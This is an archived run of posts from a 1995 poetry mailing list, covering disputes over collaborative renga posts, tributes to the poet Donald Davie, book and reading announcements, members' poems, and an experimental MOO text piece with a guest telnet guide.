Here's a thought: at least one group besides "minorities" gets "preferential treatment" in the US: young, callow, mean-spirited, dumb conservatives, especially if they have some minority background or other. I could name names.

I will fabricate a relation between this topic and Poetics (or at least renga) if pressed.

--

[redacted]

David Golumbia

↑ Index

893. **Herb Levy**
Re: Donald Davie 1922-1995
Tue 26 Sep 1995

I want to thank Ira for posting this eulogy on Donald Davie.

Herb Levy
[redacted]

↑ Index

894. **Burt Kimmelman**
Re: Renga moan
Tue 26 Sep 1995

---

jorge,

your list is a good one.and the postings of the sort that fall within the purview of the entries on the list I have found to be not only informative and delightful, but necessary. Why, I can even say the same thing about an occasional renga or two. But really, you must be kidding me. do you expect me to believe that you don't see the differences I have pointed out?

Burt

↑ Index

895. **Burt Kimmelman**
Re: All rengae sound the same
Tue 26 Sep 1995

Whew, Jorge!

I was really worried that I wasn't going to get permission to write rengas! But really, even with a delete command . . . I guess it's like swatting flies; one can even derive some sort of perverse pleasure in eliminating the little buggers, but after a while its just plain old hard work, a bore, and grueling. to say nothing of what the renga phenomenon has done to my poor buffer from time to time.

Burt

↑ Index

896. **Jorge Guitart**
privatizing the renga
Tue 26 Sep 1995

I agree with Charles Bernstein that practice overtakes theory but I don't want the kid next door to bang scales on the piano all day long while I am trying to

do anything with my head. Therefore I have decided to buy that kid an electric keyboad and earphones. As to me, I am leaving the public sector, the U.S. Department of Renga, and returning to private practice. I think I have served honorably though obnoxiously at times for which I apologize. I am going to be a renga consultant, though, and if someone posts a renga, I will probably add a line and send it back to the poster only not to the list. I have already invited a number of people to send lines to me to start on a number of private rengas. Once in a while we can send a ***closured*** renga to the list. If anybody wants to unclosure it, do it in the privacy of your home and send it to us.

So on to the next topic. In all seriousness, I think that combatting scientific racism is crucial.

In a lighter artery, anagram practice will never overtake theory so they are ok in my estimation.

And so goodbye, an old rengan never cries, s/he just howls away.

jg

↑ Index

897. **I.LIGHTMAN**

Donald Davie 1922-1995

Tue 26 Sep 1995

I'm taking time out from unexpectedly heavy grieving to note the loss of a great British poet, Donald Davie. He and I corresponded and met and, like at least some of the obituary writers on him in recent days, fell out; I wish now, like some of them I suspect, that I had sorted this out, but there always seemed more time to come. I only found out that he'd died when I moved into a new flat and his face was peering out of the obituary page of a newspaper in the bin in the empty room. He was always used as a whipping boy, an establishment figure to rebel against, and rarely thanked for his critical work recommending not just British poets but British poetry - as a poetry that should be international and should make serious work with language, and let language work on the poet. He was attacked jealously by many who wanted his position of eminence (he could always get an article in the TLS much better than any others there) but who would never do the labour, of writing well at length and dealing with institutions, that Davie did to *achieve* this eminence. It was always assumed that this eminence was somehow given to him, as privilege, and always assumed that he reacted out of fear and stupidity to certain areas of the avant-garde that he didn't favour as much as he favoured Pound. For me, however, his *criticisms* based on *reading* (rather than *assent*) of the British avant-garde stick. See Barry and Hampson eds. _The Scope of The Possible_, Manchester University Press, 1994, for a fine example of such Davie-

bashing. If his criticism was begrudged, his poetry was ignored; yet, its emphasis on language, its sometimes entirely abstract pleasure with difficult syntax and vocabulary, and its constant self-questioning and interest in ideas and epistemology, certainly helped me, as a schoolboy knowing only Philip Larkin, to bridge to Pound and, indeed, the Language Writers - to whom he is much closer in energy and labour and *vanguardism* (ie the desire to bring the future in, from the margin, not stay in the margin) than any other post-war British poet. If I were to compare him to a painter, I would say no other had such a fine grasp of one aspect of her or his (colour/pigment/mixing/framing/brushwork) art - for none has the skill below with vocabulary, with verbs, with a form that is both syntactically spacious and *not* spare and stripped-down in vocabulary; he is somewhere between Creeley/Neidecker and Yeats, and that amazes me as a feat:

OX-BOW

The time is at an end.
The river swirled
Into an ox-box bend, but now
It shudders and re-unites:
Adversary! Friend!

Adverse currents drove
This pair apart.
A twin tormented throe embraced,
Enisled between them, one
Quadrant of earth, one grove.

Now for each other they yearn
Across the eyot
That the particular flow of each
Carved out, determined. Now,
Now to each other they turn.

And it is past belief
That once they forked;
Or that, upstream and bypassed, trees
Mirrored in mid-reach still
Break into annual leaf.

DONALD DAVIE

↑ Index

898. Jim Rosenberg
Publications
Tue 26 Sep 1995

[Hmm, I posted this yesterday but got a strange failure message back from parts along the way; I guess it didn't make it to the list. I wonder if cyberspace is trying to tell me something ...]

Since C.B. sayeth one is "breaking the rules" without making official Publication Disclosure:

My latest publication -- not exactly recent ('93) -- is _Intergrams_, $19.95, Eastgate Systems, [redacted], [redacted], fax [redacted], 134 Main St Watertown MA 02172 USA, http://www.eastgate.com/. It requires a Macintosh with HyperCard (even an old Mac Plus with 1M RAM will do.)

The work prior to that, _Diagrams Series 4_, is available on-line at:

http://www.well.com/user/jer/diags4/diags4.html

The work that came after _Intergrams_, _Diffractions through: Thirst weep ransack (frailty) veer tide elegy_ has been done for a couple of years, is due out from Eastgate sometime (I have no idea when, they work a bit slowly).

Since all the work described above is electronic, this is a good time to bring up the issue of distribution of electronic writing. Last time I looked into this, SPD didn't carry a single electronic title and didn't seem interested in starting. Perhaps things have changed, but I don't think so. Those of you who live in the Bay Area would be doing us electronic writers a favor if you took the time to badger the powers that be at SPD about this whenever you drop in.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

899. Edward Foster
Re: WCW
Tue 26 Sep 1995

what you say, ron, appears reasonable but, i think, beside the point. one can read wordsworth, i suppose, for his "contemporary values" (whatever that means) but a poem in blank verse about sublimity and imagination and one's summer in the alps, written today, runs a risk of being either precious or parody. my heavens, what are you doing defending lyricism, but since that

seems the point, welcome! you also seem to be saying (oddly, i should think, for you) to be saying that the poem is free of history. welcome! but now that you're over here, to my pleasure, i suggest h.d. or duncan (particularly within his emerson/h.d. concerns) rather than williams as the interesting place to be. --why is resistance to williams' first move--not to recycle the past--so difficult to apply to his own past. as for bahktin: he was useful. -ed

↑ Index

900. **Maria Damon**

Re: News Too

Tue 26 Sep 1995

---

aldon thanks as always for the disquieting news front. george lipsitz's "The Possessive Investment in Whiteness" will come out in the next American Quarterly, and is good reading for anyone who thinks racism is dead.--md

↑ Index

901. **Jordan Davis**

the renga itselves

Tue 26 Sep 1995

---

if it's boring who made it so or who didn't make it something to behold that is, it's not the weather or the floors it's maybe more like soccer in the office which I too

wish something for it

Jordan Davis

↑ Index

902. **Mark Roberts**

zap rengas

Tue 26 Sep 1995

---

zap rengas

this could be a dance, a political movement, or the name of a new poetry magazine.

mark

↑ Index

903. Peter Baker
New Book
Tue 26 Sep 1995

As my first posting, I am listing publishing information for a book recently published by the University Press of Florida.

AUTHOR: Peter Baker
TITLE: _Deconstruction and the Ethical Turn_
PRESS: University Press of Florida
DATEP: 1995
PRICE: $34.95

From the ad copy:

Deconstruction and the Ethical Turn demonstrates the continuing importance of deconstruction and other related movements for current literary theory, insisting on the seriousness of the deconstructive enterprise, its philosophical background, and its possible usefulness for negotiating the political terrain of the postmodern university Peter Baker deals with the theories of such major figures as Jacques Derrida, Michel Foucault, Jacques Lacan, Emmanuel Levinas and Julia Kristeva. He concentrates on the ways that deconstruction allows for an increased understanding of the ethical reading of texts and disputes the view that it places all decision making in the realm of the text. Deconstruction and related types of critical thinking have real-world effects, he argues, and they offer ways of understanding and resisting intersubjective violence. [...] Peter Baker is associate professor of English at Towson State Univer- sity, Towson, Maryland, and the author of _Obdurate Brilliance: Exteriority and the Modern Long Poem_ (UPF, 1991) and _Modern Poetic Practice: Structure and Genesis_ (1985) and coeditor of _The Scope of Words: In Honor of Albert S. Cook_ (1991). He is the editor of a book series, Studies in Modern Poetry.

↑ Index

904. Fred Muratori
An Invitation
Tue 26 Sep 1995

I just wanted to invite members of this list to take a look at the Web version of my mss. _The Spectra_, a collection of 40+ high-velocity lyrics (sorry, RS -- not sure what else to call 'em). Most have seen mag print (in _New Directions_, _Talisman_, _Mudfish_, _BAP '94_, _Denver Qtly_ & others) but are yearning mightily toward the bookable, Web or no Web. Some audio included.

The URL is: http://fmref.library.cornell.edu/spectra.html

My apologies for the self-advertisement. I do not undertake this lightly, but since I went through the hassle of putting the damned thing up in html, it'd be nice if at least a few folks knew about it.

****

Fred Muratori "Certain themes are incurable."

([redacted]) - Lyn Hejinian

Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
****

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905. Willa Jarnagin
Bill Corbett Reading
Tue 26 Sep 1995

William Corbett will read work by his favorite poets, including Lorine Niedecker, Basil Bunting, Frank O'Hara, Elizabeth Bishop, Philip Whalen, and others...

SUNDAY, OCTOBER 29, 2 p.m.
THE BOOKCELLAR CAFE
1971 Mass. Ave. (Porter Square)
Cambridge, Mass.

This reading will kick off the new Boston area reading series, Cellar Door Poetry. Cellar Door hopes to pick up where Word of Mouth, the loyally attended Cambridge series run by Michael Franco, left off. Readings will be held once a month (usually the last Sunday) at 2:00, at the Bookcellar Cafe.

For more information or to be on our mailing list, contact:

Willa Jarnagin or Eric Malone
51 Laurel St. #3
Somerville MA 02143
phone: [redacted]

(or email me)
--Willa

↑ Index

906. David Kellogg
Re: News Too (fwd)
Tue 26 Sep 1995

With regard to Dinesh D'Souza: anybody else see the William Raspberry column about the two writers whose names escape me, both black conservatives, who were so incensed by DD'S's book that they publicly dissasociated themselves from the American Enterprise Institute (the "think" tank that ponied up the dough)? It'll be interesting to see if this "study" pits the right against itself: part of me would like to see that, but part of me worries that such an event would lend support to the myth that there is actual political discussion in the U.S.

Cheers,
David
~~~
~~~

908. **Robert Drake**
Re: Renga moan
Tue 26 Sep 1995

---

thot i shd cast my 2cents, as one who has not found much use for th renga & who regularly deletes, for thier continuation--lest the next excess that irritates is a pearl before me...

...their...<insert as needed>

lbd

↑ Index

909. **Pierre Joris**
MILLENNIUM ANTHOLOGY
Tue 26 Sep 1995

We -- Pierre Joris & Jerome Rothenberg -- would like to announce that our anthology _POEMS FOR THE MILLENNIUM: The University of California Book of Modern & Postmodern Poetry_ (Vol 1: From Fin-de-Siecle to Negritude) has just come out. It will probably be a few weeks until copies hit the bookstores, but meanwhile, for those interested & unable to wait that long, we will post (as a separate, longish e-mail) the Table of Contents to this list.

Here is how UCP describes the book:

The University of California Press is Proud to Announce:

The First Global Anthology of 20th Century Poetry

Poems for the Millennium
The University of California Book of Modern and Postmodern Poetry
Volume One: From Fin-de-Siecle to Negritude
Edited by Jerome Rothenberg and Pierre Joris

0-520-07227-8 $24.95 paper
800 pages, 6 x 9", 20 b/willustrations

POEMS FOR THE MILLENNIUM may well be the poetry book-of-the-century: a synthesizing and global anthology with an emphasis on those international and national movements that have tried to change our ways of making poetry and art as a means for changing how we think & act as human beings.

This first volume offers three "galleries" of individual poets -- figures like Mallarme, Stein, Rilke, Tzara, Mayakovsky, Pound, H.D.,Vallejo, Artaud, Cesaire, and Tsvetayeva--along with a sampling of the most significant pre-World War II movements in poetry and the other arts: -- Futurism,

Expressionism, Dada, Surrealism, "Objectivism," Negritude. The second volume will extend the gathering to the present day, forming a synthesizing and global anthology that goes beyond any existing twentieth-century collection in its cultural scope and experimental range.

Jerome Rothenberg is a poet and one of the world's leading anthologists. His more than fifty books include _Technicians of the Sacred: A Range of Poetries from Africa, America, Asia, Europe and Oceania_ (California, 1985). He is Professor of Visual Arts and Literature at the University of California, San Diego.

Pierre Joris has published over twenty books of poetry as well as many anthologies and translations. He is Associate Professor of English at the State University of New York, Albany.

"The word anthology hardly does justice to Rothenberg and Joris's brilliant reconceptualization of twentieth-century poetry in a global context. This is that rare book that forces us to rethink what the poetic is and can be." -- Marjorie Perloff

"This book is destined to become a fundamental resource for the study of twentieth-century literature and culture. Its importance cannot be overstated." -- Charles Bernstein

"A riveting literary achievement of phenomenal scope and generosity. This illuminating compendium displays the best of humanity's bardic inheritance and vision.... It should be obligatory reading for all scholars, students, writers, and lovers of poetry." -- Anne Waldman

"In an accurately titled Poems for the Millennium we can at last sense the scope of the Revolution of the Word that's been in process sinceQoh, 1895. There's no other anthology like this one, no other overview so adventuresome." -- Hugh Kenner

"Rothenberg and Joris's anthology gives us, by virtue of its organic structure and inspired choices, the possibility of a kind of situated internationalism.... It is a sourcebook for the future." -- Gary Snyder

"This is not like any other anthology, not a collection of excellences, no absurd imitation of a canon. It's more like a Handbook of Inventors and Inventions, or of Explorers and Discoveries, that opens up all sorts of pathways for poetry from its past and future to a living present... It is above all a book of possibilities and invitations." -- David Antin

==========

Pierre Joris | "Poems are sketches for existence."

Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

910. **George Bowering**
Re: A non-"poetics" anagram
Tue 26 Sep 1995

Well, I guess "anal godling" is a little better than "anal lodging"

↑ Index

911. **George Bowering**
Re: Rights and Rengas
Tue 26 Sep 1995

I am willing to hand over rights to publishing my parts of the renga, as long as they are changed by someone else. I presume that all conbtributors will see whatever becomes of them...

↑ Index

912. **George Bowering**
Re: Minna Street
Tue 26 Sep 1995

Hey, Ron, you just reminded me of that great doowap song,

"Ou Lip the Po in the Po sh Po shPo?"

↑ Index

913. **Alan Sondheim**
Re: MOO
Tue 26 Sep 1995

It remains odd to me that the only evidence of the Net upon writing here is the quick response of renga-substance oozing from the list. There are all sorts of possibilities. Below is architecture within Media Moo that I have been working on. This is a partial exploration of the space. (In addition Kim Mcglynn and I

have been working on texts through Unix talk, Angela Hunter and I used email lists, Kayo Matsushita and I used circle- muds and lpmuds. All the results go onto Cybermind and Fiction-of-Philos- ophy email lists.)

---

look
Tiffany
dense entanglement of fluid, you-know-language, aural, i course thru u,
 i u, Tiffany course thru alan, Tiffanyalan, breath floods, clitoral,
 eyes stained by u, u lay me out, lance, skin, nipples, on Menstrual
 Table, you-know-language
Obvious exits: out to Living Quarters - 2nd Floor
You see aural here.
l aural
aural-phone, uterine tendrils, extrusions, circulations of internal
 fluids
l Menstrual Table
a dark space of annotations, unreadable, the dinner readied by the
 male, trapped, a web-inversion, violation, fabric: He sees: a lance
 impaled on an endless plain of skin
l lance
holed skin, rimmed with Tiffanyalan
l skin
lance holed with Tiffanyalan or clitoral
l clitoral
clitoris
l clitoris
There appears to be some writing on the note ...

read clitoris

There appears to be some writing on the note ...

a path leads to the tip, plateaus open to frozen space; here, potential fields flow, static-electrical discharging, effluvia, curtained sheets rimming Menstrual Table. the lance tip leans earthward, sodden with menstrual flows, clots, broken writings. your tongue strains, skin against skin, your mouth peels back, your teeth in your nipples, your nipples everything in the world.

(You finish reading.)

l nipples
double cones, flattened, holed with clitoral, intensity of Tiffanyalan,
 lanced with you-know-language
l you-know-language

Tiffanyalan
l Tiffanyalan
you-know-language, sheen, tongue-rimmed, hole towards u, cum across u,
 she arches, u beneath, pornog, its penis, its vagina, u Tiffanyalan
 you-know-language
l penis
I see no "penis" here.
l vagina
I see no "vagina" here.
@quit
*** Disconnected ***
Connection closed by foreign host.

↑ Index

914. George Bowering
Re: Donald Davie 1922-1995
Tue 26 Sep 1995

I think that Lightman's encomium for Davie is apt and shd surely be welcomed. Davie , despite his crankiness in some areas, at least announced to the stiff-necked English p[oetry crowd that there was something happening elsewhere. His poetry sounds a little 19thC English to North American ears, but it sounds a lot more beautiful than the stuff you usually see printed in the establishment papers over there. I think that North Americans always wonder how the hell the Brits ever thought that Larkin was more than a light poet. But Davie rests somewhere between the tight collar and proper vest, and Mr Bunting, say. Maybe closest to someone like Tomlinson, who also had an ear cocked westward. Only time I had a real serious talk with Davie, though, was once when I visited Essex with a view to doing a PhD on Bunting in 1966, and Davie sais not a chance, he was saving him for himself. Better than the prof at Sussex who told me not a chance, he had heard that this Bunting fellow was still alive.

↑ Index

915. George Bowering
Re: crow moan weather
Tue 26 Sep 1995

THE WEATHER 2

Strong wind trying to get old
        green leaves off the trees, boughs bend

reflected in leaf-strewn fish pond,
        a contradiction in is this Fall?

Maple leaves too, curled and brown,
    caught in the yucca, an orange cat

hiding behind it, or is that some
    imposed imagination? Look at the figs

getting darker between fig leaves getting lighter;
    there's a ghost has time for flowers

in October, especially little red ones,
    because we are somewhere else, a

clothing store, a racing Pontiac, a lay-away
    plan called winter numbers on the wall

inside.

↑ Index

916. **Mark Scroggins**
Re: Donald Davie 1922-1995
Tue 26 Sep 1995

My thanks as well to Ira for the Davie obituary. I remember a pleasant hour spent with him in his office at Vanderbilt University, watching him continually relight his pipe and counsel me, a prospective graduate student, that I would be better off pursuing my honors thesis on Bunting than on Robert Duncan. When I told him how fascinated I was by the eclecticism of Duncan's influences, he shook his head slowly: "Eclectic indeed--rather an eclectic _fudge_, I should say." That was my introduction to Bunting's work. Later, he would send me a syllabus for a graduate seminar he had taught on the Objectivists, from which Zukofsky was unaccountably absent(!); "He would have taken up far too much of the semester, with too little reward," was Davie's explanation. I was inclined to dismiss him as an old fart at the time, an impression further strengthened by his scathing review of Williams's collected poems a couple of years later, and his casual dropping (somewhere) of the opinion that Niedecker was on a par with Dickinson--both "minor female poets." But if Davie was never quite vanguard enough for my tastes, he always remained a staunch advocate of a Poundian poetics--not a popular position in England, nor in America, where Helen Vendler takes every opportunity to berate Davie for his "unaccountable" appreciation of Pound. [Speaking of which, does anyone have a citation for the Ashbery interview where he says that Vendler told him (Ashbery) in conversation, "Of course you don't like The Cantos. You have to be a fascist to like The Cantos"?] He was always a graceful writer--not a skill valued by many American academics, nor, unfortunately, by many of those who write about poetry in America--and he was never afraid to hold unpopular opinions. His

Pound books remain useful. His _Under Briggflatts_,while highly spotty, is consistently entertaining. My personal favorite of his books is _A Gathered Church: the Literature of the English Dissenting Interest, 1700-1930_, a lovely and eclectic piece of historical scholarship and criticism.

Mark Scroggins

↑ Index

917. Tony Green
Re: MOO
Tue 26 Sep 1995

More info please on techniqalities.

Tony Green,
e-mail: [redacted]

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918. Pierre Joris
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The Miraculous Weapons

A Third Gallery

Anna Ahkmatova
Requiem

Nelly Sachs
Chorus of the Dead
Chorus of the Stars

Hugh MacDiarmid
From A Drunk Man Looks at the Thistle

David Jones

Miyazawa Kenji
Spring and the Ashura
Daydreaming on the Trail
Pictures of the Floating World

Bertolt Brecht
First Psalm (Posthumous)

Three Fragments
Alabama Song

Melvin Tolson
From The Harlem Gallery: Book I, the Curator

Henri Michaux
From Slices of Knowledge
Tomorrow

Francis Ponge
The Oyster
From The Sun Placed in the Abyss

Wen Yiduo (Wen I-to)
Dead Water
Miracle

Vitezslav Nezval
City with Towers
Trap Door

George Seferis
The Poplar Leaf
Mathios Paskalis Among the Roses
Les Anges Sont Blancs

Laura Riding
Elegy in a Spider's Web

Gyula Illyes
A Winter Memory
While the Record Plays

Nazim Hikmet
Letters from Chankiri Prison

Langston Hughes
From Montage of A Dream Deferred

Carlos Drummond de Andrade
The Dead in Frock Coats
The Dirty Hand
Motionless Faces

Lorine Niedecker
News
Subliminal

Nicolas Guillen
- Don't Know No English
- Sensemaya
- Wake for Papa Montero
- Moon
- The Usurers
- From The Daily Daily

Pablo Neruda
- Walkin' Around
- Sexual Water
- Only Death

Louis Zukofsky
- From Songs of Degrees
- "A" 1

Kenneth Rexroth
- From Prolegomena to a Theodicy

Kusano Shimpei
- Birthday Party
- 4 or 5 Tadpoles
- Skylarks and Fuji

Gunnar Ekelof
- Like Ankle-Rings, This Music
- If You Ask Me
- Absentia Animi

Rene Char
- From Leaves of Hypnos

Roger Gilbert-Lecomte
- Preface or The Drama of Absence in an Eternal Heart
- The Son of the Bone Speaks
- Old Precept of the Dead World
- Wink

Rene Daumal
- From Clavicles for a Great Poetic Game
- Persephone That is to Say Double Issue
- Short Revelation Concerning Death and Chaos

Miklos Radnoti
- The Angel of Dread
- Seventh Eclogue

Yi Sang
From Crow's-Eye-View
Paper Memorial Stone
Soyong Problems
From Critical Condition

Muriel Rukeyser
The Dam

Octavio Paz
Hymn among the Ruins

A Book of Origins

Prologue to Origins

Confucius / Ezra Pound
From The Great Digest

Orpingalik (Netsilik Eskimo / Inuit)
"Songs are thoughts, sung out with the breath..."

Arunta (Australia)
Alcheringa Definitions

Leopold Sedar Senghor
LThe African image is not an image by equation..."

Allama Prabhu (Kannada, India)
For the Lord of Caves

Clayton Eshleman
Placements I

Robert Duncan
From "Rites of Participation"

Amiri Baraka (LeRoi Jones)
From Why's/Wise

Aborigine Sound Poem (Australia)

Lily Events (Arnhem Land, Australia)

From The Goulburn Island Cycle (Arnhem Land, Australia)

Tristan Tzara
From Poemes Negres
The Dance of the Greased Women
Tropical Winter

Awotunde Aworinde
From Ifa Suite in Praise of the Yoruba Oracle

Aime Cesaire
Ex-Voto for a Shipwreck

Three for Bear

Seven Songs & Song Pictures

Richard Johnny John, Jerome Rothenberg, Ian Tyson
Songs from the Society of the Mystic Animals

Simon Ortiz
Telling About Coyote

From Cantares Mexicanos

Maria Sabina
From The Midnight Velada

The 13th Horse Song of Frank Mitchell

From The I Ching
The Marrying Maiden

Jackson Mac Low
Mani-Mani Gatha

Ezra Pound
Canto 49

Charles Olson
The Song of Ullikummi

Armand Schwerner
Tablet V

From The Thunder, Perfect Mind

Diane Di Prima
From Loba

Doc Reese
Ol' Hannah

Naftali Bacharach
A Poem for the Sefirot as a Wheel of Light

Jacques Gaffarel
Celestial Alphabet Event

Edmond Jabes

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919. **Alan Sondheim**

Re: MOO

Tue 26 Sep 1995

A MOO is a MUD-Object-Oriented, and a MUD is a multi-user-domain or dungeon; these developed out of role-playing games like Dungeons and Dragons. The MUDs developed into various other forms, and the MOO is one of them; it's a textual space, a virtual (textual) environment in which users can both talk to one another in real time, and building/construct various rooms, objects, etc. - again, all textual. LambdaMOO was the first, began by Pavil Curtis at xeroxparc; Media MOO is run by the MIT Media Lab (it's overt virtual space is that of the lab itself); and PMC Moo, which I'm "active" on, is down at the moment, coming back as PMC2 (post-modern-culture, run out of the University of Virginia). To get to Media MOO, telnet:
telnet 18.85.0.48 8888
and sign in as guest. Some commands: help gives you all kinds of information; @go #<number> takes you to a location as in
@go #2014
which will take you to Tiffany;
say <xyz>
results in someone else reading
Guest says "xyz"
@join <name>
takes you to name, and
emote is feeling happy
results in someone else reading
Guest is feeling happy.
There are a number of commands; it takes a while to get used to it, but becomes simpler as you go along. I've not been on Lambda, which has thousands of users; Media is almost empty. PMC has been going through a lot of politics and is changing as I've said.
These programs can run 35-40 megabytes, although the basics are around 4 megabytes; they also run in RAM and are downloaded several times a day, in case of disk failure. The most sophisticated, like Media, have libraries and research tools within them, like gopher and ftp access, usable by groups of people at a time.

Alan

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920. **Alan Sondheim**
Re: crow moan weather
Tue 26 Sep 1995

This reminded me of in the mountains work I have done; this weekend I was in the mountains with two women both of whom had their brothers commit suicide this past year. & one of the brothers had seen The Crow and wanted to come back as a crow and help people and had said that shortly before he died. & he hung himself on a jungle gym. In the mountains I stayed in his room and a week before the anniversary of his death a dead crow was found in the center of his bed. & everyone is scared.

Alan

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921. **Ryan Knighton**
METHOD
Tue 26 Sep 1995

METHOD

under glass the sphynx purrs table sunshine
heiroglyphics my cat sleeps yawns away 3000years
toppledown tired maybe Ellie still
stirs sheds a coat of museum
dust then with her bedlam tongue

↑ Index

922. **Marjorie Perloff**
Re: Donald Davie
Wed 27 Sep 1995

I too mourn the loss of Donald Davie! I first met Donald at one of those Pound conferences at Orono and he was feisty and terrific: I like his first Pound book very much, ARTICULATE ENERGY even better. But he was a very difficult and self-destructive person. When I published my Frank O'Hara book, he wrote me a letter scolding me for writing about such a terrible person and objected vehemently to Frank's being gay. "The Muse," he told me, "is female!" and so GAYS CAN'T WRITE POETRY! An amazing, absurd letter. He took the line, "I drink to keep from getting bored," and said "If he's so bored let him leave poetry to those of us who are not bored!" etc etc.

At some point in the 70s, he seemed to derail somewhat. Having been such a passionate fighter for the new, he left Stanford first for Vanderbilt (which he sadly and mistakenly took for the "Old South") and then back to England and

became increasingly pugnacious and defensive. I suspect it was because he felt his poetry wasn't getting its due--and it's true (to my mind) that DD was much better critic than poet. But he did write some wonderful reviews (collected in Barry Alpert's book) and essays on Pound. One of the best is the one about a walking tour in Provence and how geography works in poetry. He wrote brilliantly about syntax: the difference a shift to the past tense could make. But his politics became increasingly problematic as did his social/cultural attitudes--and so it was a sad last few years.

It's interesting to me that Ira is so keen on the poetry--makes me want to go back and reread.

Marjorie Perloff

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923. R I Caddel

Donald Davie

Wed 27 Sep 1995

Good to read so many positive testimonials to Donald Davie. Like many I grew up with his criticism around me, particularly the Pound work, and I'll miss him, grumpiness and all. It seemed to fall on me to disagree with him in public quite a lot - such as (a) when he suggested that the Native North Americans are absent from Lorine Niedecker's Lake Superior, (b) when he argued that Bunting was a poet of religious orthodoxy and (c) when he asserted that Zukofsky wasn't worth talking about. So that when we met we were both a little surprised to find that the other wasn't as fierce as we'd expected. The remarkable thing was that he did generally continue talking about such people when most UK "establishment" critics didn't.

In his south-yorkshire bloody-mindedness ("the Geoff Boycott of literature" someone said) Davie was very like the late Eric Mottram - a comparison which would make both of them grumble a lot. But where Davie came to assert tradition and authority, Mottram remained committed to everything radical. With mentors like these, what shall we do but go schizophrenic? And miss them both, in their various ways.

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

924. **R I Caddel**
Re: Rights and Rengas
Wed 27 Sep 1995

Whoops! Sorry to tread thus upon Charles's toes - I'd deleted all previous postings on this (as I had all Rengas) and had forgotten that anyone had dissented. It's a nice point, and you could all waste many legal $$$ on it if you're so inclined: (a) one refusal to reproduce does indeed scupper the whole collaborative project, unless it can be agreed that (b) it was a collaborative project from the outset, with everyone accepting the possibility of collective revision.

I must say it looked pretty collaborative to me, from the outside - but can I join those urging the Renga set to go into the back room and sort it amongst themselves?

RC

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925. **R I Caddel**
Meanwhile, back in the Orient...
Wed 27 Sep 1995

Has anyone mentioned the latest Parataxis? It's an anthology of Chinese poetry in translation:

ORIGINAL : Chinese Language-Poetry Group, translated by Jeff Twitchell from contemporary Chinese poetry by the ORIGINALS, Che Qianzi, Zhou Yaping, Yi Cun, Hong Liu, Huang Fan and Xian Meng, including manifestoes, letters, critical sketches and an afterword by J.H.Prynne.

Parataxis #7, 1995, four pounds, from Drew Milne, School of English and American Studies, University of Sussex, Falmer, Brighton, BN1 9QN, UK.

RC

↑ Index

926. **Blair Seagram**
or
Wed 27 Sep 1995

---

on Tues 26 Sept, Mark Roberts wrote:

zap rengas=8A

or The Zenga Rap

on Mon 25 Sept Jordan Davis wrote:

don't forget the old
"is there really a David
Ayre"

this is a Les Ayre

TC/PG
 BS

↑ Index

927. H. T. KIRBY-SMITH
Rengas and Williams
Wed 27 Sep 1995

Although I spoke kindly of the renga and asked to print a piece of it, it does begin to seem like one of those dancing diseases that they caught in the Middle Ages.

I wouldn't want to make more trouble for anyone, but a few simple electronic commands on the Buffalo listserver would set up another list called "Renga" --or maybe "Rengaroom"--no that has too many letters.

Meantime, I think I have come across something that illustrates exactly what Williams did for us in writing "Spring and All." Compare that poem with this one, copyright 1911, by Cordie Webb Ingram whose face peers out with innocent wonder from the frontespiece of her collection of poems, published by Broadway Publishing.

SPRINGTIME

By Cordie Webb Ingram

It is springtime, happy springtime, once again,
All Nature seems aroused as if from sleep;
The bird's notes thrill us--oh, so clear and deep--
The western zephyrs round us gently sweep,
And whisper promises of joy for pain.

There is a hint of active life within the wood;
The brown, bare limbs of winter turning green,
The bare earth woos a fresher, brighter, sheen,
The subtle snunlight steals the leaves, between,
As if these children of the forest understaood.

The frisky squirrel leaps from bough to bough
[I don't think I care to type in more about the squirrel]

There is a mighty whispering 'neath the soil.
The infant plants anticipate the light,
And vaguely dream of time, when they bedight,
Will flaunt themselves in shades, red, green, and white;
Transition strange, accomplished without toil.

[after several more stanzas the poem ends with the assertion that "sweet Springtime...keeps us daily from the Tempter's snare."]

Now Williams:

By the road to the contagious hospital
under the surge of the blue
mottled clouds driven from the
northeast--a cold wind. Beyond, the
waste of broad, muddy fields
brown with dried weeds, standing and fallen

patches of standing water
the scattering of tall trees

All along the road the reddish
purplish, forked, upstanding, twiggy
stuff of bushes and small trees
with dead, brown leaves under them
leafless vines--

Lifeless in appearance, sluggish
dazed spring approaches--

They enter the new world naked,
cold, uncertain of all
save that they enter. All about them
the cold, familiar wind--

Now the grass, tomorrow
the stiff curl of wildcarrot leaf

One by one objects are defined--
It quickens: clarity, outline of leaf

But now the stark dignity of
entrance--Still, the profound change
has come upon them: rooted they
grip down and begin to awaken.

It would be easy to write pages of commentary comparing these two poems. A couple of similarities seem to me even more remarkable than all their

differences. But Williams's is like some huge and at first discordant organ blast--and yet completely unpretentious.

Tom Kirby-Smith

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928. Rachel Loden
Golding/Bernstein/APR
Wed 27 Sep 1995

Last week, Alan Golding wrote:

Burt K. mentioned Hank's APR essay. I actually think APR has always been a bit more eclectic than it's given credit for, but its eclecticism has less the quality of a commitment to multiple writing practices, more the quality of the startled twitch that one gives when one is suddenly woken up. ("Oops, looks like we'd better pay attention to this, even if we are 15 or 20 years late.") To put this another way, it's not yet clear to me that we're seeing, in APR, more than a kind of belated tokenism attached to one of the big names of LP. Charles is acutely attuned to these institutional/literary-sociological issues, it seems to me. I don't agree, then, Burt, that APR has published work of his in a traditionally APR mode. The poems they've carried are, in my reading, progressively more blatant gestures of resistance to and satires on that mode. If the editors don't get it after publishing the last one, "Memories," then I feel sorry for them. (And if they've already gotten it and aren't letting on, then good for them.) The real test for APR will be to see if they start publishing lesser-known or under-published "experimental" writers, as they do with their flush-left-first-persons.

--AG doesn't mention that a chapter in his book _From Outlaw to Classic_ (U of Wisconsin, 1995), deals with this very subject in some depth--Bernstein, APR, and the subversive nature of his appearances there. (Chapter 5, "Provisionally complicit resistance"). Good stuff--

Rachel Loden

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929. Mark Wallace
Poetic Briefs #19
Wed 27 Sep 1995

